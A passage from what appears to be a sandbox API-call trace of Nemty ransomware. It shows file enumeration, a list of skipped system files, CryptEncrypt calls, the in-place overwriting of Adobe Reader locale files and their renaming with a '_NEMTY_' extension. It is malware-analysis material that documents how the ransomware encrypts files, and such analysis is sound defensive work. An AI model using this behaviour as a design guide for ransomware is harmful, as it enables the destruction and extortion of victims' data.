lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.674] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.674] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.674] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22494dd0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x22494dd0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x22494dd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0185.674] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0185.674] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.675] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.UKR", cAlternateFileName="")) returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2=".") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="..") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="...") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="windows") returned -1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="rsa") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="NTDETECT.COM") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="ntldr") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="MSDOS.SYS") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="IO.SYS") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="boot.ini") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="boot.ini") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="ntuser.dat") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="desktop.ini") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="CONFIG.SYS") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="RECYCLER") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="bootmgr") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="programdata") returned 1 [0185.675] lstrcmpiW (lpString1="Spelling.UKR", lpString2="appdata") returned 1 [0185.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.675] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.675] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.675] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.676] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.UKR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.UKR", lpUsedDefaultChar=0x0) returned 12 [0185.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.676] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.676] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.676] Sleep (dwMilliseconds=0x5) [0185.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2252d350, dwHighDateTime=0x1d561e8)) [0185.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2252d350, dwHighDateTime=0x1d561e8)) [0185.685] GetLastError () returned 0x12 [0185.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.685] GetLastError () returned 0x12 [0185.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.685] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.685] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.685] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.685] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="rEEzoADG5PM89UFBbL8XF0jEBSNsx1Gc4jLNRjNEQYvKUyEU4A2KVO76z2En7+SN\r\nTmy9HCbu85nB62hBZcMNbQsdICv2f/R+xBerFFp3bijqSWBGhGw5PpO6T7P4dl53\r\nh11BlKK2J40CNVRb+pb1yBtge9zG6YZScgkdVO6aKOQQvNnucgOMKQLOBiK2WqwI\r\n2lFulGvrw9ZAx9oWX3f8nIeBy2o8HM/hn2UtfU+r7j7PmRvkiBQDoo5rKXUmjeM8\r\neArbwBXCqTfvhozB8MHJD+Cy5oHXmbtTxlpkZrE2BIUKcgY9SuC6jGLawQsTvJEF\r\ndsRNiToxUfPVTIpw0RrqWg==\r\n", pcchString=0x653e5dc) returned 1 [0185.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.685] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.685] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.685] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Spelling.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\spelling.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.686] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0185.686] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0185.686] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.686] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0185.688] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.688] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0185.688] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.688] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0185.688] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.688] CloseHandle (hObject=0x2e8) returned 1 [0185.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.688] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.689] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.689] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Spelling.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\spelling.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Spelling.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\spelling.ukr._nemty_kgobjgd_")) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.689] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.689] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Updater.UKR", cAlternateFileName="")) returned 1 [0185.689] lstrcmpiW (lpString1="Updater.UKR", lpString2=".") returned 1 [0185.689] lstrcmpiW (lpString1="Updater.UKR", lpString2="..") returned 1 [0185.689] lstrcmpiW (lpString1="Updater.UKR", lpString2="...") returned 1 [0185.689] lstrcmpiW (lpString1="Updater.UKR", lpString2="windows") returned -1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="rsa") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="NTDETECT.COM") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="ntldr") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="MSDOS.SYS") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="IO.SYS") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="boot.ini") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="boot.ini") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="ntuser.dat") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="desktop.ini") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="CONFIG.SYS") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="RECYCLER") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="bootmgr") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="programdata") returned 1 [0185.690] lstrcmpiW (lpString1="Updater.UKR", lpString2="appdata") returned 1 [0185.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.690] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0185.690] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.UKR", lpUsedDefaultChar=0x0) returned 11 [0185.690] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.691] Sleep (dwMilliseconds=0x5) [0185.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x225534b0, dwHighDateTime=0x1d561e8)) [0185.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x225534b0, dwHighDateTime=0x1d561e8)) [0185.700] GetLastError () returned 0x0 [0185.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.700] GetLastError () returned 0x0 [0185.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.700] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.700] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.701] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.701] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="7/tlc/AScP5phpj4DVxwZ7EPz3fqlgbpXWsRXQEOlPd9a7UKj3+ZgdXg4AEi+/QW\r\nd5hyGfNjFYGnR7CANo33VUA/Xc/mRkVw3eLzoK7xyhzhDdK0q9W4fE1mzN8X3HT6\r\nfLOGZAnxaP5hZF+Un2GgMvmVWMTrpNQu7PvnBa7HnC9lCz6WrIEBRvl6Hpg7oIbn\r\nfsr4BNektmT0aBOQiaFP3IpC1WaAgFjdM7hMdM1nlNTNq2+xiRwH3QPcMlMk0/9T\r\ng7kKe71/VbpNzTip1+oaEC6Vbf5VUB/CBEVf7oD0oYIKviHnZjHeUihMvdkP14Jq\r\nqmCHGkbSAm0OrKSHI8/Lrg==\r\n", pcchString=0x653e5dc) returned 1 [0185.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.701] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Updater.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\updater.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.701] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0185.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0185.701] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.701] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0185.713] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.713] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0185.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.713] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 